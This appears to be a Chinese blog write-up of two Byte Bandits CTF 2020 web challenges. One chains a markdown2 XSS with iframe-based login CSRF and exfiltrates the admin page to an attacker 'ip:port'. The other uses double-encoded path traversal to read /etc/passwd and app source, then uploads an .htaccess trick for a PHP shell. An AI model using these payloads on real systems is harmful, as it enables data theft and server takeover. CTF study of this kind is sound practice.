Byte Bandits CTF 2020 复现

Noteapp

考点:XSS、CSRF(wtcl....自闭了)

docker:https://github.com/ByteBandits/bbctf-2020/tree/master/web/notes
需要把google浏览器的key验证相关代码删掉,不然会无法通过验证:(感谢byc_404师傅)

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

只要能让bot访问ip就行了,然后./env.sh && docker-compose up -d

注册登陆之后是一个便签
/profile

在这里插入图片描述

并且可以提交页面给管理员看,xss实锤了

但是有内容的闭合标签都会被替换成[HTML_REMOVED]

在这里插入图片描述

单个尖括号也会被转义成html实体编码:<

xss技术太差了,结束之后看思路,没想到突破点是这个:用的markdown2解析器

在这里插入图片描述

poc:https://github.com/trentm/python-markdown2/issues/341
看一下markdown版本为2.3.8,正好符合

<http://g<!s://q?<!-<[<script>alert(1);/\*](http://g)->a><http://g<!s://g.c?<!-<[a\\*/</script>alert(1);/*](http://g)->a>

能弹窗:

在这里插入图片描述

但是此时的页面依然是:/profile

如果提交给管理员这个url,那么管理员访问的也只是自己的/profile

之前从来没碰到过CSRF,没想到在这碰上了

CSRF跨站点请求伪造(Cross—Site Request Forgery),跟XSS攻击一样,存在巨大的危害性,你可以这样来理解:
攻击者构造结合了恶意JavaScript和iframe的攻击,该iframe加载了合法页面
诱使你点击,然后以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作

那么我们要获取管理员的/profile(flag在上面)步骤如下:

1.先在自己的服务器上构造第一个恶意的iframe,用来获取保存管理员的/profile页面。再构造第二个iframe,将管理员注销。构造第三个iframe用来登陆我们自己的账号,url为/login?username=xxx&password=xxx
2.管理员登陆我们的账号后,会自动跳转的我们的/profile,此时改一下上面的xss语句,跳转到我们服务器,并携带第一个iframe的值,这样就成功返回了管理员页面

为了确保上述操作能一步步进行,需要延时来确保完成

服务器html如下:

<html>
<head>
<script>
function sleep(waitMsec){
    var startMsec = new Date();
    while (new Date() - startMsec < waitMsec);
}
window.addEventListener('load', function() {
    //iframe1
    var adminframe = document.createElement("iframe");
    adminframe.name = "adminframe";
    adminframe.src = "https://notes.web.byteband.it/profile";
    var body = document.querySelector("body");//获取body标签的内容
    body.appendChild(adminframe);//加入iframe1
    sleep(3000);//延时
    //iframe2
    var logoutframe = document.createElement("iframe");
    logoutframe.src = "https://notes.web.byteband.it/logout";//用来注销admin账号
    body.appendChild(logoutframe);
    sleep(3000);//延时
    //iframe3
    var loginframe = document.createElement("iframe");
    loginframe.src = "https://notes.web.byteband.it/login?username=wander&password=123";//登陆我们的账号
    body.appendChild(loginframe);
}, false);
</script>
</head>
</html>

/profile js如下,用来获取iframe的body值并跳转到服务器

<http://g<!s://q?<!-<[<script>location.href='http://ip:port/?q='+btoa(top.adminframe.document.body.innerHTML);/\*](http://g)->a><http://g<!s://g.c?<!-<[a\\*/</script>hoge;/*](http://g)->a>

做完准备工作后只需要提交url即可,然后监听即可收到flag

在这里插入图片描述

base64一下就可以看到admin的/profile了

在这里插入图片描述

参考文章:https://graneed.hatenablog.com/entry/2020/04/13/004211
https://d1r3wolf.blogspot.com/2020/04/chaning-no-impactna-bugs-to-get-high.html
关于csrf:https://xz.aliyun.com/t/1243#toc-11
https://www.freebuf.com/articles/web/55965.html

下次抽个时间写一下csrf吧

imgaccess2

这题感觉solve数太少了,没看的太深(菜),毕竟有环境,还是跟着师傅的wp复现一下吧

题目描述:I heard they have something special running at secretserver:1337
考点:文件读取、文件上传

在这里插入图片描述

首先是一个文件上传点,一般都不会直接考上传绕过的,这题也是如此
先上传一个图片,上传完后得到路径为:
http://ip:7003/view/f528764d624db129b32c21fbca0cb8d6/wander.png

在这里插入图片描述

源码处得到真实路径
格式为uploads/md5/原始文件名:

在这里插入图片描述

根据官方的hint:

在这里插入图片描述

得知是python代码,并且/uploads可能有文件读取,根据wp居然是二次url编码进行路径穿越然后读取文件,需要fuzz功底

这样就能得到/etc/passwd的内容

/uploads/f528764d624db129b32c21fbca0cb8d6/..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd

在这里插入图片描述

由于不知道当前目录,可以用/proc/self/cwd/app.py来读python源码:

from flask import Flask, render_template, request, flash, redirect, send_file
from urllib.parse import urlparse
import re
import os
from hashlib import md5
import asyncio
import requests

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = os.path.join(os.curdir, "uploads")
# app.config['UPLOAD_FOLDER'] = "/uploads"
app.config['MAX_CONTENT_LENGTH'] = 1*1024*1024
app.secret_key = b'_5#y2L"F4Q8z\n\xec]/'
ALLOWED_EXTENSIONS = {'png', 'jpg', 's'}

if not os.path.exists(app.config['UPLOAD_FOLDER']):
    os.mkdir(app.config['UPLOAD_FOLDER'])

def secure_filename(filename):
    return re.sub(r"(\.\.|/)", "", filename)

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route("/")
def index():
    return render_template("home.html")

@app.route("/upload", methods=["POST"])
def upload():
    caption = request.form["caption"]
    file = request.files["image"]

    if file.filename == '':
        flash('No selected file')
        return redirect("/")
    elif not allowed_file(file.filename):
        flash('Please upload images only.')
        return redirect("/")
    else:
        if not request.headers.get("X-Real-IP"):
           ip = request.remote_addr
        else:
           ip = request.headers.get("X-Real-IP")
        dirname = md5(ip.encode()).hexdigest()
        filename = secure_filename(file.filename)
        upload_directory = os.path.join(app.config['UPLOAD_FOLDER'], dirname)
        if not os.path.exists(upload_directory):
            os.mkdir(upload_directory)
        upload_path = os.path.join(app.config['UPLOAD_FOLDER'], dirname, filename)
        file.save(upload_path)
        return render_template("uploaded.html", path = os.path.join(dirname, filename))

@app.route("/view/<path:path>")
def view(path):
    return render_template("view.html", path = path)

@app.route("/uploads/<path:path>")
def uploads(path):
    # TODO(noob):
    # zevtnax told me use apache for static files. I've
    # already configured it to serve /uploads_apache but it
    # still needs testing. I'm a security noob anyways.
    return send_file(os.path.join(app.config['UPLOAD_FOLDER'], path))

if __name__ == "__main__":
    app.run(port=5000)

这里有一个白名单过滤:

ALLOWED_EXTENSIONS = {'png', 'jpg', 's'}

这个s很奇妙,看到后面对文件名进行的操作:

filename = secure_filename(file.filename)

而secure_filename在这里做了正则替换

在这里插入图片描述

会将..或者\替换为空

在这里插入图片描述

根据提示.htaccess与这一段注释,得知要我们上传.htaccess文件,并且/uploads_apache路径下应该是apache的服务

在这里插入图片描述

可以通过404页面判断,/uploads

在这里插入图片描述

/upload_apache

在这里插入图片描述

由于后缀白名单中有一个s,所以上传文件名为.htacces..s即可:
内容为addtype application/x-httpd-php .png

在这里插入图片描述

此时访问png图片即可getshell

在这里插入图片描述

根据题目描述:I heard they have something special running at secretserver:1337
看一下/etc/hosts得知内网为172.19.0.2的网段
用插件探测一下发现.3开着1337端口

在这里插入图片描述

直接在upload路径下wget会显示permission denied,那么就转到/tmp目录wget http://172.19.0.3:1337 -O 1.html

在这里插入图片描述
在这里插入图片描述

继续读flag.txt

在这里插入图片描述
在这里插入图片描述

参考文章:http://www.bycsec.top/2020/04/13/ByteBanditsCTF2020%E4%B8%A4%E9%81%93WEB%E5%A4%8D%E7%8E%B0/#ImgAccess2
https://www.gem-love.com/ctf/2254.html

后记

web3点击源码下出来一个apk,直接给我劝退了,https://github.com/ByteBandits/bbctf-2020/tree/master/web/analytics

在这里插入图片描述

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇